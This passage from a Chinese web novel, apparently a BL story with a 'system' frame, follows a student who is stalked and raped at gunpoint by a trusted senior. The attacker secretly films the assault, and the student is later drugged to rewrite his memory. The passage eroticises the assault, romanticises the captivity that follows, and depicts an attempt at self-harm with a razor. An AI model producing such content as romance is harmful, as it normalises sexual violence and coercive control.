他有些害怕别人的眼光,更害怕这种心态会影响他弹琴的状态。
“如果明天是个晴天,我就回去看看。”
11.尾随
云霏很喜欢这种天气。
阳光灿烂,太阳暖融融的,偶尔会有一阵微风,但并不冷,很舒服。
同学们三三两两走在一起,要么手上拿着课本急匆匆赶去占座,要么就是没课悠闲地在校园里散步。
只是几个月而已,就让云霏产生一种物是人非的失落感,经历了这么多,他再也回不到当初一心只有弹琴、上课的状态了。
他到底……该不该回来呢?
云霏走得不快,他沿着这条贯穿整个校园的主干道慢慢走着,思索着再次回到校园的事情,却又有些踟蹰,他不愿意和陆珵牵扯太多,就应该从一开始拒绝除了协议以外的事情。
可是……
他在乎的东西不多,但每个他都愿意用自己的一切去交换。
无论是身体……还是尊严。
他想事情太入神,以至于当自己一头撞上一个宽阔的脊背时,他竟然第一时间没有反应过来,只是下意识地捂住自己被撞疼的额头呆在原地。
裴景淮没料到自己的运气居然出乎意料得好,走在路上居然就能蹲到这只自己送上门来的兔子。
他转身饶有兴致地打量着许久不见的人,额头被撞红了一片,鼻头也是红红的,眼里即刻氲着一汪清泉,长睫抖着,半晌才缓慢地眨一下。
真是可怜又可爱。
“撞疼了么?”他顺着自己的心意直接上手把云霏纤细的手腕拢在掌心,另一只手揉上云霏被撞疼的额头。
感受着掌心细腻的触感,裴景淮舔了舔唇角,眼神发暗,真是让人一如既往地想……把他弄脏。
“我没事,请你先放开——”云霏被眼前人伸过来的手臂挡住了视线,而这人又太高,还逆着光,手上从一开始的细致揉捏逐渐变成一种玩闹性质的逗弄。
这种熟悉的、无奈的感觉让他很快意识到对面的人是谁。
“裴学长,玩够了吗?”他干脆放弃挣扎,不想再对裴学长偶尔幼稚的行为发表意见。
裴景淮心满意足地收回手,他弯下腰,脸几乎要贴在云霏的脸上,用那种笑眯眯惹小女生生气的语气说:“没有哦,在云霏身上,永远也玩不够。”
“那你自己玩吧。”云霏熟练地闭眼,转身就走。
“好啦,我道歉,”身后传来声音,接着一股不容抗拒的力量从手腕上传来,云霏这次反应迅速地伸出手抵在胸前,可还是没有躲过这个拥抱。
紧紧的彷佛呼吸不上来的拥抱。
云霏睁开眼,仰着头很轻的叹了口气,接着这张平时以冷淡示人的脸上缓缓露出一个笑容,在裴景淮的眼里,黑白世界因为这个笑容而绚丽多彩。
“好久不见,云霏。”
裴景淮再次紧了紧手臂,把矮了他一个头的青年拥在怀里,双手则不着痕迹地从青年的腰上游移到单薄的背上,像是在检查自己所有物的状态。
“好久不见,学长,一切还顺利吗?”裴景淮是个混血儿,他们在一次社团联谊中认识,因为裴景淮自来熟的性格,他们很快熟悉起来。
对于云霏来说,裴景淮是他能信任能寻求帮助的朋友。
而对裴景淮来说,云霏是他盯上却还没弄到手的心爱之物。
因为太喜欢,所以不想用一些强硬的手段,而是耐下心来一步一步取得信任,然后把人收入囊中。
可是最近他出了趟国处理家族的事情,在国外远离云霏的这些日子里,裴景淮发现云霏对他的影响力比他想象中还要大。
大到他压缩自己待在国外庄园处理不安分的人的时间,想尽一切办法尽快回国,就为了和他见一面。
而见到人之后,他觉得自己根本就不满足于区区一个拥抱,他想立刻拥有云霏,把玩他娇气得彷佛稍微用力就能弄坏的身体,然后舔舐他因为他给予的快感而流出的眼泪。
兴奋得要颤抖起来。
“顺利啊,”裴景淮把人放开,揽着人的肩膀带着他往前走,“这么久没见,想我了没?”
云霏……
云霏抿着唇没说话。
裴学长其它都好,就是嘴里说的话常常会惹得云霏生闷气,不知道是不是因为混血而且在国外长大的原因,裴景淮除了有一对颜色偏浅的眼睛,还有一张常常能说出匪夷所思的话的嘴。
因为这个,他俩还闹过误会,被别人误认为是一对,而且裴景淮还嫌不够热闹的承认过,让谣言传了很久。
当然,云霏不知道的是,有不少人扼腕叹息,纷纷感叹一朵鲜花插在了牛粪上。
在云霏的拥护者看来,无论是谁站在云霏身边都令人不爽,高岭之花就该不染纤尘地独自盛放。
…………
云霏稀里糊涂地被人揽着走进一家酒吧的包厢时,还没有弄清楚自己什么时候答应的对方要给他接风。
总之只要被裴学长缠上,他什么时候答应的都不重要。
因为只要他不松口,裴学长会一直一直在他身边神出鬼没,以各种方式让他一个几乎没什么脾气的人都烦不胜烦。
“我听你们学院的教授说,你最近申请休学了,出什么事了?”裴景淮把人带到沙发上坐下,转身开了一瓶酒,暗红色的酒液很快盛满两只玻璃杯。
他离开得实在太久,有些鞭长莫及,
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云霏身上发生这么大的事他也是刚刚才知道。
云霏把酒杯往里推了推,摇了摇头,眼睛黯淡下来,接着把遭遇的变故简短几句话说出来,他没办法详细描述,因为那意味着在还没愈合的伤口上撒盐。
“有什么需要的尽管说,伯母需要更好的治疗环境,我明天就安排人去办这件事。”裴景淮眼里闪过一丝暗芒,看来他留在国内的人手也有叛徒,这些消息他愣是没听到过半个字。
“不,”云霏心里酸涩,在他需要的时候如果能有这样一句话该多好,可惜……太晚了,“谢谢学长,我妈妈的事情已经解决了。”
“但是有件事确实需要你帮忙,”云霏隐约知道裴景淮的身份不太一般,他不想欠陆珵的,但裴学长是值得信任的人,“我想撤销休学,重新回到学校。”
“没问题。”裴景淮一口答应下来,但他对云霏聊到事情解决时不自然的神态有所怀疑,云霏身上,究竟发生了什么?
“谢谢学长,”云霏刚才推拒酒杯的手重新握住透明的杯壁,在他把酒送入口中之前又被裴景淮笑嘻嘻阻止了,裴景淮一边道歉说忘记他酒量差,一边又吩咐服务员端来一杯牛奶。
…………
婉拒了裴景淮把他送到楼上的请求,云霏沿着他所在的老小区附近的小路慢慢走着,很久之前,他还是个小豆丁的时候,父母就喜欢牵手在这里散步。
而他在后面跌跌撞撞的追赶。
那时他觉得父母在和他玩游戏,常常自己和自己的影子玩得不亦乐乎,抬头时总会发现父母已经走远,他再乐此不疲地追上去。
恍如昨日。
他低头看向自己的影子,当初那个小孩子已经长大啦,很久之前他追赶的幸福也已经追丢了。
云霏停了下来,他从口袋里摸出钥匙准备回家,却在下一瞬间僵在原地。
地上的影子不知何时多出来一个,覆盖了他的影子,而且正从身后一步一步靠近。
“救——唔……唔!”
一只手捂住他的口鼻,并且迅速把他半拖半抱到一侧的小巷子里,狭窄的巷子被黑暗笼罩,没有一丝光透出来。
云霏想大声呼喊,却发不出半点声音,只能拼命挣扎,却丝毫不能撼动箍在他身上的大手,彷佛要把他的腰勒断一样,蟒蛇般缠住他的身体,没有一丝缝隙。
在被人按在墙上,半边侧脸贴住冰冷时,他只以为自己要被人莫名其妙的杀掉,却从来没想过,身后的人要的是另一样东西。
直到他听见皮带扣被解开的声音,直到自己的口腔被手指入侵时,他才反应过来自己要面临什么。
12.被弄坏了
粗粝的皮套质感,捅进他嘴里的时候云霏才意识到挟持他的人戴着一双皮手套,毫不怜惜地捉住他无处可逃的软舌。
带有羞辱意味的拉扯、揉捏、亵玩,没过多久,也许只有几分钟,云霏就感觉到自己的舌头被人玩肿了,连带着口腔里一片湿润,合不拢的嘴唇里有透明的涎液溢出,把下巴也打湿一片。
在听见那一声清脆的皮带扣“咔哒”解开的声音时,青年祈求的声音是那么无助。
声音很低,在颤抖,可怜兮兮地说——“求你……不要,别这样……”
因为嘴唇被人用手指撑开,声音和小猫似的,黏黏糊糊,听在不怀好意的人耳朵里只会觉得青年在讨饶似的撒娇。
他只会这样毫无新意的话,也不知道越是求饶身后的人就越不会放过他。
身后窸窸窣窣的声响停了一瞬,在云霏心里涌出一点儿脱困的希望时,一只手把他身上的外套粗暴的拽下来,挂在手肘那儿,紧接着圈住他腰的那根皮带被人轻巧的打开扔在地上。
云霏无声地悲鸣一声,挣扎前所未有剧烈起来。
视线就在这时暗了下来,身后的人给挣扎厉害的云霏套上了一个眼罩,很紧,勒得他发疼,不断反击的双手也被人反折到身后用皮带绑了起来。
以一种屈辱的姿态被人用力按压细瘦的腰,使暴露在空气中细嫩的肌肤主动蹭上了男人的胯骨。
有人在耳边笑,带着明显的恶意说了一句话。
听见这句话的云霏挣扎幅度小了很多,浑身的力气似乎都被抽走了,甚至是失去了支撑他的东西,发软的身体贴着墙面瘫坐下来。
不过,膝盖没有接触地面,地上被人铺上了一件厚外套,衣衫凌乱的美丽青年无知无觉半跪在上面,手腕弯折在身后,像是一只引颈就戮的白鹤。
那人在走近,居高临下地捏住云霏泛红的下巴……
【啊啊啊,他只要敢碰我嘴就电他!!!!】云霏在心里大喊,系统的视角里云霏的脸因为生气红扑扑的,愤怒染上眼角,勾出一线绯红。
【是,宿主,已经准备好了。】系统不带感情的机械音传来。
但这个电子造物又感觉到自己的一点异样,好像被灼烧核心元件的痛楚传来,哦,真稀奇,系统想,它居然能感受到“痛楚”?
它甚至想将眼前的攻略目标清除掉,而不是像云霏所说的简简单单电一下就结束。
它的核心指令发生改变。
难以言喻的气味持续了一会,足以让被黑色眼罩笼盖下的青年意识到眼前的是什么东西,他惊慌地向后退,跪坐在衣服上的双腿艰难挪动。
“不——”
“不!”
他崩溃地摇着头,黑色布料的颜色加深,细小的泪痕从中蜿蜒流淌,经过颤抖又被抿紧的红色唇肉,被男人隔着手套抹去。
一个圆柱形冰冷的管状物体抵上云霏紧闭的唇,捏住下巴的手施力,迫使紧闭打开一道缝隙,枪管被人推进,挤压着口腔的嫩肉。
云霏被翻过来,被人揉搓过后的肌肤还残留着红痕……
这是一场暴行。
后来云霏已经失去了对时间的感知……
…………
云霏清醒的时候巷子里好像只剩下他一个人,手还被绑着,他侧身蜷缩在地上……
不敢暴露他清醒的事实,云霏屏息等待了会儿,验证出人确实已经走了,才敢慢慢将自己的身体团起来。
眼泪一直流。
有脚步声从远处浮现,一步一步停在他身边不动了。
就在云霏闭上眼等待着下一场暴行时,一个熟悉的声音响起:“云霏——”
眼罩被人掀开,骤然接触到光线让青年红肿的双眼条件反射地紧闭,也让来人看清楚了他现在的惨状
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,洁白额头上都是汗水,那双从来都是清清冷冷望着人的漂亮双眸红肿不堪。
往下……
裴景淮一拳打在粗糙的墙面,鲜血顺着指缝流下来,他用身体为云霏遮挡光线,往日那么健谈开朗的人一言不发,沉默着脱下自己的外套裹住云霏。
“学……长……”短短两个字被云霏磕磕绊绊尝试了好一会才说出来,他根本控制不住自己的哽咽声,嗓子也哑得不行,浑身上下都是使用过度的后遗症。
“没事了,云霏,别怕。”云霏从没听见过裴学长用那么温柔的语气说话,他低头的神色也很温柔,抱着他就像是抱着什么易碎的物品。
裴景淮又收紧了臂膀,连人带衣服都紧紧拢住,他抱着人往外走,彷佛从血肉中挤压出来的呓语让云霏没有分清那到底是不是幻听。
“对不起。”
对不起我来晚了,对不起我没有坚持送你回家。
再有意识的时候柔软温暖的水流正缓解着他全身的酸痛……
…………
肮脏。下流。
安静下来的青年又开始崩溃。
“对不起,对不起。”裴景淮把青年整个人从水里捞出来,没在意自己身上被打湿的痕迹,把被玩坏而应激的人整个搂在怀里安抚。
…………
昏暗的房间里青年昏睡着,他实在太累了,接连不断地情绪崩溃让他的身体承受不住,身体自动选择了最安全的疗伤方式,也许睡着了就不用面对。
裴景淮坐在床边守着他,预防夜里可能会出现的梦魇。
他戴上耳机,隔绝可能会把青年吵醒的声音,视频开始播放,一开始是摇晃的视角。
“求你……”
痉挛狼藉的身体毫无遮挡地被镜头记录下来,他在手机上操作了一下,视频文件被发送到一个私人邮箱,并附送一句留言:“他是我的。”
13.自投罗网
半夜云霏果然梦魇了。
和裴景淮预料的不一样,云霏没再像浴室里那样崩溃,甚至没有发出一点声音,他侧着身子保持着入睡时的姿势。
如果不是裴景淮撑着手臂看了一眼,也许他都不会发现被泪水浸湿的枕巾。
那张被他细细擦拭过的脸上都是干涸的泪痕,纵横交错,新的覆盖旧的。
……怎么能,不发出一点儿声音?
裴景淮盯着那张睡着的脸,心里浮现的却是云霏生气时微微抿紧的唇、高兴时嘴角向上的弧度,还有他们刚认识的时候云霏冷淡的一瞥。
生动的、鲜活的,让他看见世界颜色的那一张脸。
现在怎么褪色了?
裴景淮沉着脸,眉眼是化不开的郁气,他从来都不是那个开朗好说话的裴学长,不过是个好用的面具而已。
如果云霏能听话一点,顺着他的心意心甘情愿地被他捕获,那他不介意把这张面具用到死。
可他不听话。
他不过离开了一两个月,这具青涩的躯体就已经被人给吃透了,他坐在车上翻看调查资料的那一瞬间,怒火完全烧尽了他的理智。
让他想立刻把刚刚远去的那个背影拖回来,扔进车里,撕碎他的衣服,堵住他的尖叫,让他只能绝望地承受惩罚。
把他玩坏、玩到崩溃,玩到承认自己的放荡。
不是谁都可以么?那一个人和两个人又有什么区别?
于是他使自己进入尾随者的角色,云霏的所有挣扎和哀求在他眼里不过是他应当承受的代价而已,所以他毫不在意,粗暴地享受温热的□□,云霏每祈求一声,他就会胀痛一分。
直到他对准那张被蹂躏过的唇,那时云霏的嗓子已经有些哑了,他以为自己在声嘶力竭地求救,可实际上那声音很微弱,像是微火余烬。
如果他真的那样做了,那余烬一定会彻底熄灭。
那个瞬间,和他曾经受伤的感觉很像,就像有人在骨头缝里拿着刀搅来搅去,最开始完全意识不到,等再有知觉的时候只觉得心里千疮百孔。
像潮水一样涌上来,一次比一次更痛。
这样的感觉……短短一个晚上,裴景淮已经体验到两次了。
【裴景淮虐心值:20】
*
陆珵仰靠在书房宽大的椅背上,夜已经深了,但他丝毫没有睡意,在过往的很多个日夜,他就像今晚一样,清醒着独自一人。
他有点想念怀中小宠物的体温了。
也许不应该放宽条件,还让小宠物有喘息的机会,该派人跟着云霏,从早到晚的每个行踪,见了什么人,说了什么话,他都应该知道。
他享有这些对自己所有物的权利。
而不是像现在这样,直面对手带来的羞辱,赤裸嘲讽着他的无用。
平放在桌面上的手机传来淫靡不堪的声音,除了另一个人稍重的呼吸声外,只有青年的哭喘、痛吟。
这不是一场心甘情愿的情事,是另外一个掠夺者展现在他眼前的驯服他的所有物的......表演。
不过是一个宠物罢了,脏了就丢掉。
“砰!”手机被人掷到墙上,摔出一道道裂纹,声响戛然而止,正在播放的视频停留在青年仰着头,仿佛濒死的一瞬间。
*
这一次醒来,天还没有亮。
窗外一片深蓝,雾蒙蒙的,看来昨天的好天气没有延续,今天是个阴天,酝酿着一场风雨。
云霏觉得,也许他的命运就这样停留在这个时间点,将明未明。
他掀开被子,赤裸的脚踩在地面上,脚上还残留着蹬动挣扎的伤痕,但他没有在意,径直走进浴室,关上门。
卧室里当然没有准备水果刀,触目所及也没有任何锋利的工具,云霏的眼睛红肿消退后只在眼皮上残留了一层红痕,黑色的瞳孔被水洗过后越加夺目。
但如今那双眼睛里再没有一丝波动,更加接近那些被人收藏起来的宝石,熠熠生辉,却没有任何温度。
云霏的视线定在一点,他伸手从剃须刀里硬生生把刀片拽下来,锋利的刀片划伤了手指,他毫不在意。
镜子里的人实在长着一张......不能被准确形容出来的...美丽的脸,即使哭过也丝毫没有损毁。
反而因为这份颓靡,愈加使人想要将其握在掌心。
云霏什么都没想,昨天他实在哭了太多,如今眼睛干涩得厉害,难受却哭不出来,情绪堆积在喉间,也说不出口话。
他只是不明白,为什么他要一而再再而三经历这些事情,每当他有勇气继续迈步时,总会被毁掉。
是这张脸么?
镜子里的人也在看他,镜子里的人抬起手,被血染红的刀片触碰到带着凉意的皮肤。
划一道够么?
云霏摇了摇头,动作间脸上的皮肤已经被弄出几道浅浅的红痕,他对着自己笑了一下,畅快的,带着报复心理的笑。
就在他的手打算用力刺破的那一刻,一只手紧紧纂住他的手腕,刀片停留在一寸的距离,再不能前进半分。
镜子里出现了另一道身影,裴景淮压抑着怒火,还没忘记收着劲轻轻掰开云霏握着刀片的手。
一声脆响,刀片垂直落在地上。
云霏没有多少抵抗就放开了手。
直到被裴景淮牵着带到床上坐下的时候,云霏还是没有多少表情,也没有开口说一个字。
他好像成了一个没有喜怒哀乐的木偶。
但他确实没有想过自杀,即使被人翻来覆去地......他也想活着,这世间还有他在乎的人,需要他去照顾。
云霏低头看着裴学长用棉棒沾着药水为他涂抹伤口,划破的伤口被他轻柔地贴上创可贴。
脸上细小的伤口则被人轻轻托着吹气。
云霏张了张口,又紧紧闭上,最终只能僵硬着露出一个笑。
眼前那个总
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是笑嘻嘻的学长没有一点笑意,他看了云霏半响,直到云霏微微扬起的嘴角变得平直,才叹了一口气。
裴景淮单手把人摁到怀里,左手抚摸着青年脑后柔软的黑发,右手轻拍着青年颤抖的脊背:“这不是你的错,”
这就是你的错,你错就错在太耀眼了。
“别伤害自己。”
你的伤口只有我能给予。
“我们报警。”
永远也找不到的嫌疑人。
怀里的青年挣扎起来,他慌乱地抓住裴景淮的右手摇了摇头。
“不...”云霏几次尝试发声,声音沙哑,音量小得更是需要人俯下身仔细捕捉,也正是因为这短短的视线错开。
让裴景淮错过了云霏忽然放大的瞳孔。
“怎么了?”
“......他有枪。”
裴景淮感受着青年抓住他衣领的手忽然一紧,维持着拥抱的姿势,在青年的耳边缓缓笑起来。
“那我们更应该报警了。”
突兀的铃声在两人之间响起,裴景淮的眼神阴鸷了一瞬,随后又恢复了那个关心学弟的好学长形象,抱歉地摸了摸云霏的头发:“我先去处理事情,乖乖听话,先休息会儿。”
“那个混蛋,我绝不会放过他。”
云霏闭着眼缓缓点了点头。
等到卧室门再度被关上,脚步声消失之后云霏才再次睁开眼,如果不闭眼,他怕他眼中的恨意会让裴......会让这个□□犯察觉端倪。
他真蠢。
他就没想过为什么裴景淮会来得那么及时,就这样傻傻地对着罪犯露出感激的笑容。
如果不是刚才他伸手碰到了裴景淮右手上那道细长的伤口,那道在他被侵犯时怀着恨意刻意留下的伤口,他现在还被蒙在鼓里。
窗外树影摇晃,风吹得树叶沙沙作响,不过片刻,风雨已至。
*
“云霏,先吃点东西。”裴景淮端着托盘单手开门,高大的身影正对着那扇大开的窗。
房间空无一人。
青年身上单薄的睡衣早已被雨水浸湿,赤裸的脚踝也在他用床单结成的绳子从二楼滑下来时不小心崴伤。
这里似乎不在市区,周围只有那一座别墅,四周除了树林就只有这条笔直的幽深的公路,不知道通往何方。
他要逃离这一切。
脑海中闪过很多人脸,他们笑着释放出善意,可转眼间那些脸都变得可怖起来,眼神在他身上流连。
他还能相信谁?
云霏抹了一把脸上的雨水,眼前的一切因为雨下得太急而变得模糊不清,单薄的身体在这秋冬的天气里已经失去了知觉。
脚踝传来刺痛感,可他毫无所觉。
一束车灯穿破雨幕照在他身上,云霏踉跄了一下,摔倒在冰冷的地面上,他尽力抬起头,有那么一瞬间,他居然想起陆珵。
一双手工定制的皮鞋停在他眼前。
14.两情相悦
云霏没能看见来人是谁,当他尽力抬起头时,耳边倾泻的雨声被遮挡住,雨滴打在伞面上发出沉闷的响声。
他的意识进入混沌之前看见的最后一眼只是昏暗的天空......而已。
而这场雨似乎也持续了很久,一直到他再次重获自由的那天,还是这样深蓝中带着灰白的模样。
*
林屿桉倒是没想到前几天还辗转与陆、霍两人之间的美人又和裴家的疯子扯上关系。
他把伞扔到一边,挽起袖子把被雨淋得湿透的人穿过膝弯抱在怀里,即使身后很快有人重新为他撑伞,但这短短几个动作间,他的眼镜已经蒙上一层水雾。
裴景淮这两天从国外回来的消息已经在他们圈子里传开,当事人并没有遮掩,延续着他从父兄辈那里继承而来的风格。
嚣张至极。
这座独栋别墅从没有出现在各大家族的调查报告上,附近的地皮很显然都是裴家或者说是裴景淮个人的私产。
切断了与外界的联系,周围被密不透风地包裹着,想要凭借个人的力量想要逃出去简直是难如登天。
更何况......林屿桉想起裴景淮付出了很多代价才从他手里买到的东西,不禁微微一笑,一种奇异的兴奋让他刚刚对这美人的一丝同情消弭无踪。
真是让人想亲眼看到,这人是怎么被玩坏的呢。
那个时候,这双眼睛一定很美。
林屿桉轻吻着怀中人湿透的额发,又虔诚地吻在云霏紧闭着的双眼上,心里暗道可惜,这样精致的艺术品落到裴疯子手里简直是暴殄天物。
不如,他心念一动,在他将把人带走的动作付诸实践之前,枪声炸响在脚边,近在咫尺的杀意让他过载的大脑稍微清醒了点。
在他刚抬起眼准备打招呼之前,他就这样维持着抱人的动作被猛踹出去,怀里的人就这样易了主,无知无觉躺在另一个人的臂弯里。
“想死么?”
话音刚落,四周茂盛的树丛都“活”了过来,下一秒,拍打着衣摆站起来的林屿桉顿时产生一种被无数猛兽盯上的危机感。
他慢慢举起双手,扶了扶歪斜的镜框,温和笑道:“裴少,不验验货吗?”
对面的人依然维持着单手举枪的姿势,似乎对此不为所动,这一刻林屿桉有种直觉,对方是真的敢并且打算就在这里杀了他。
不过他猜裴景淮应该没看见他亲吻云霏的动作,雨天视线模糊又被雨伞遮去了大半,否则的话他现在应该是一具尸体了。
“Y1—5的活性维持不了太长时间,裴少,你还要在这里浪费时间吗?”他噙着笑,笃定裴景淮拒绝不了这个提议。
“跟上来。”如他所料,对面的人似乎连多看他一眼都欠奉,径直抱着人走向别墅的方向,刚才穿着单薄的青年已经被裹得严严实实。
缩在那一方被黑伞遮住的小小空间里。
*
云霏的意识小小一团和系统挤在一起,外面发生的一切被清晰“投影”到了纯白的意识空间里。
他正津津有味地点评:“这变态真狗啊!”不对,“这人真变态啊!”
这个平平无奇的现代世界居然还能出现修改人记忆和认知的药,真是......太好啦!
由于裴景淮此人太变态,他实在想不出什么好剧本跟人搞纯爱,这下子现成的理由也有了,只是不知道裴景淮能不能承受虚假的美好泡沫被打碎的那一刻呢?
他仿佛听见了虐心值哗啦啦到账的声音,没有实体的虚影小人两手掐腰仰天大笑,头上好像有一对看不见的恶魔犄角摇来摇去。
【宿主,你难过吗?】毛绒绒的小团子注视着屏幕上的“投影”,针头刺破青年冷白的皮肤,无色液体被人推进他的身体里。
【诶?】缩小了不知多少倍的精致五官不再有距离感,就连歪头表示疑惑的动作都很萌,云霏明悟,噗嗤一笑,【我演得好吧?】
【要不是......我现在说不定都成为一个演员了呢。】
云霏很少提起生前的事情,系统虽然收集过信息,但冷冰冰的数据哪有当事人的讲述来得生动?
想起以前的事,云霏也怅然了一会儿,他生病之前,刚准备进入演艺圈,工作室、经纪人、包装宣传,甚至连他第一部片的片约都早就谈好了。
那些前男友们,这里简称为霸总1号、2号、3号.
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..都在暗地里为他保驾护航,更不用提他自己也是个“霸总”呢!虽然相熟的人都叫他云小少爷,但他也实打实的是个家族企业继承人。
即使只是玩笑般因为一时的兴趣想去演戏,但他也认认真真学习了很久,就连最严厉的老师都夸他有天赋。
像这种狗血剧本,云霏还是演得很轻松的啦。
嗯?意识隐隐有了牵扯感,云霏还没来得及反应就被重新投进虚弱的身体里。
*
不出意外,今天醒来的时候身体自动窝进了男人的怀里,整个人完全贴在了男人身上,还自动找到一个舒服的位置。
云霏醒来的时候还是有些不能适应,他总觉得自己不像是会主动缩在男朋友怀里的人。
可...可景淮说,这是正常的,他们之前异地恋,国内国外两地分居,所以他会觉得有些生疏。
身体记忆是骗不了人的,云霏觉得自己实在是想得太多,于是小幅度地摇了摇头想要把脑海中乱糟糟的想法甩出去。
却没想到一抬眼,搂着他的男人带着笑意吻在他眉心,“宝宝,昨天睡得好吗?”
这人!对上裴景淮略带深意的眼神,云霏瞬间回忆起昨天他是怎么哄着自己用手......
因为心里说不清道不明的顾虑,云霏一直没同意和男朋友做更深入的事情,但他从来不知道,这种事不做到最后都能让他招架不住。
他轻轻瞪了一眼裴景淮,准备起床洗漱,下一秒却被腰间横着的手臂重新拉回床上,头晕目眩中被人含住唇瓣深吻。
裴景淮从来不知道,两情相悦的滋味竟然如此美妙。
云霏要比他想象的心软得多,他可以借着男朋友的身份窥见云霏身上不为人知的一面。
比如说,虽然不会接吻,但如果是男朋友的话,他会毫不设防地乖乖张开嘴,伸出一点点舌尖,直到被吻得气喘吁吁,也只是轻轻推他几下,告诉他自己不舒服。
又比如,虽然表面上云霏的表情都是淡淡的,但当他笑着喊“宝宝、老婆”时,青年抿嘴强撑着冷淡的样子,耳尖却悄悄变成红色。
只要自己稍稍示弱几分,他就会答应一系列不公平条约。
15.豢养
云霏下意识地半闭上眼睛,以为迎来的会是狂风暴雨般的掠夺,前几次接吻,裴景淮每次都要听见他的泣音才肯结束。
唇肉被人温柔地含吻轻咬着,一只手穿过他散落在枕上的黑发,不轻不重揉捏着他颈后的皮肤。
裴景淮伏在云霏身上,将那张颜色偏淡的唇研磨得红肿,身下的人根根分明的睫毛轻颤着,从未完全遮住的眼眸中流泻出失神的水光。
裴景淮轻笑一声,带着磁性有些喑哑的声音钻入云霏有些缺氧的大脑中:“原来宝宝喜欢老公这样对你?”
什么……老公这样的称呼太难为情了,之前多少次裴景淮诱哄他开口,他都不愿意叫出来。云霏蹙起好看的眉毛,抬起手轻推了下裴景淮的肩膀——没推动,太硬。
裴景淮这次是真的确定云霏就是喜欢绵长细腻的亲吻,无论是想抬眼瞪他但又被他戏谑的眼神看得退缩扑闪的睫毛。
还是从脸颊两侧逐渐蔓延上的红晕,都说明了这个事实。
不再停顿,裴景淮带着从胸口蒸腾出来的莫名情绪撬开了云霏微张的齿关,托在他脑后的那只手用力,汲取着甘甜的汁液。
“景淮……”
……
带着颤音的轻喘响在耳边。
裴景淮直起身,身下的人神色迷茫,抓着他衣领的手甚至下意识挽留。裴景淮深吸口气……
他知道,趁着现在气氛正好,云霏说不定也就半推半就地答应了。
但只是一个吻就把人弄成这样,做更过分的事情青年今天一整天恐怕都下不了床。
突然之间的腾空让云霏小声惊呼,他被吻得发热的大脑清醒过来,看清楚现在是被人公主抱在怀里的姿势。
云霏有些羞怯,抓着人衣领的手却没有松开,虽然景淮一直告诉他在他生病之前两个人感情很好,但他始终没有实感。
直到今天的一个吻。
被人抱着放在浴室镜子前的高凳上,手边是早就放好的牙刷,高大的身影蹲下身,半跪着把云霏受伤的那只脚放在自己的膝盖上。
云霏一边用最快的速度收拾好自己,一边感受着脚踝处被人倒上药油揉捏按摩的轻柔力度。
其实他的脚已经好得差不多了,但景淮还是不放心,日常走动都是由着他抱来抱去,脚根本都没沾过地。
虽然云霏心里有些甜蜜,但不善言辞的性格从来都不会让这些情绪表露在脸上。
他觉得自己不该是这样,柔软地窝在男人怀里撒娇,真的是他能做出来的吗?
情感和理智的小人在天平两端打架,云霏把思绪放下,张开双臂方便男朋友把自己抱出去。
在被人握住脚套上鞋袜的时候,云霏忽然划过一个念头,他好像在被人逐渐塑造成另外一个样子。
这念头稍纵即逝,没有泛起一点涟漪。
“景淮,你不用去上班吗?”
裴景淮已经连着好几天待在家里陪着他了,在得知自己因为生病休学之后,云霏就有点焦躁。
虽然从他们住的这栋别墅可以看出自己男朋友的经济实力,但云霏依然不赞同他不顾公司的行为。
董事会会有意见的吧?万一景淮被责怪怎么办?自己又不是小孩子了,不至于整天需要人陪。
“我在家办公,宝宝,你怎么这么能操心啊?”
裴景淮抚摸着怀抱里青年柔顺的黑发,心情很好地逗弄起来。
“可是……唔……”云霏刚想张嘴反驳,就被人啄吻了一下。
他再次想开口,在出声之前又被衔住唇瓣不放,最终劝告的话还是没有出口,只剩下他脸色通红捂住嘴唇嗔怪瞥来的一眼。
“嘶,宝宝,你把我看口了。”
嘴上占便宜的后果就是被人揪住手臂用力拧了一下,像小猫抓挠似的,攻击力为0。
“你再说我就不要你抱了。”云霏低声说,只留给裴景淮一个精致的侧脸。
有人故意贴着他耳边叹一口气,嘴唇碰着他微红的耳尖:“可是宝宝根本就舍不得放手啊。”
“什……什么?”云霏转过脸,迎面就是裴景淮那张放大的帅脸,他上挑着眉毛,五官线条分明,蓝色眼睛里倒映着自己的影子。
云霏唰地收回自己抓住男朋友袖口的手。
又一次接吻差点擦枪走火之后,裴景淮才意犹未尽地放过了云霏,他从前见到的云霏从来都是冷淡的,没想到冰化成水真快要把他溺死了。
但他还没忘记正事,等两个人胡闹完吃过午饭,他牵着云霏推开别墅一楼木质窗格的大门。
门前是一条铺着石子的小路,并不规整却颇有意趣,小路两侧的青草、树丛都被水浸得发亮,透过树与树之间的缝隙,光线倾洒下来。
云霏好奇地打量着周围的环境,这几天因为脚伤他基本上都没出过别墅的大门,更不用说到这个小花园中散步了。
下了几场雨之后,花园中的草木清香越发浓郁,越往里走树越来越少,走到小路的尽头时视野一下子开阔起来。
云霏一时间没有从眼前看到的景象中回过神来。
那是一大片粉白双色的月季花,灿烂的阳光下玉白花瓣上泛着粉红色泽,犹如恋人含羞的脸庞。
而被这些花儿簇拥的中心,是一座八角形玻璃房,房子四周被不知名花朵点缀,在阳光的照射下好像一场精致的美梦。
“雪野一梦,这些花的名字。”
云霏压抑着心中泛起的情绪,抬头对上裴景淮深邃的眼神,那里面蕴含着比他想得还要更多的情感。
好像他深爱着他一样。
走进玻璃花
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房,里面的实际空间要比从外面丈量得更大,外间摆放着各种品种的花朵,沿着走一圈,能闻到或浓郁或清淡的香气。
里间的门却不是透明的,只能模糊地勾勒出一个大致轮廓。
直到被裴景淮牵着手,两个人一起推门而入时,云霏才知道,为什么这里那么神秘了。
那里摆放着一架钢琴。
“宝宝,希望你能喜欢这份礼物。”裴景淮牵起云霏的手,在无名指上印下一吻。
云霏回望着裴景淮的眼睛,幸福中夹杂着酸涩的滋味从胸口溢出,他突然觉得有些委屈。
好像自己从没有被人如此郑重对待过一样。
千头万绪涌上心头,他依循着自己的本能踮起脚把一枚香吻印在裴景淮脸上,在裴景淮暗下来的眼神中不躲不避又把唇贴上他的。
双臂缠绕上他的后颈,云霏把自己完全交给了对方。
大手揽住腰身,把人放在房间铺设的柔软地毯上,裴景淮慢条斯理地解开扣子,给足了云霏逃避的时间。
可他没有逃,只是眼泪无知无觉地流淌,手臂依然挂在裴景淮的颈上。
“宝宝,别哭。”裴景淮软下声音,相反的是他铺天盖地的吻,唇齿之间再无任何距离,爱人的回应让舌与舌之间的勾缠黏腻起来。
水声啧啧作响。
玻璃房里恒温,更何况,云霏的皮肤已经在对方指腹的摩擦间微微发热。
这是一个最容易引起人心底恶念的姿势。
他模模糊糊地想,怎么景淮在做这种事情的时候完全像换了个人?
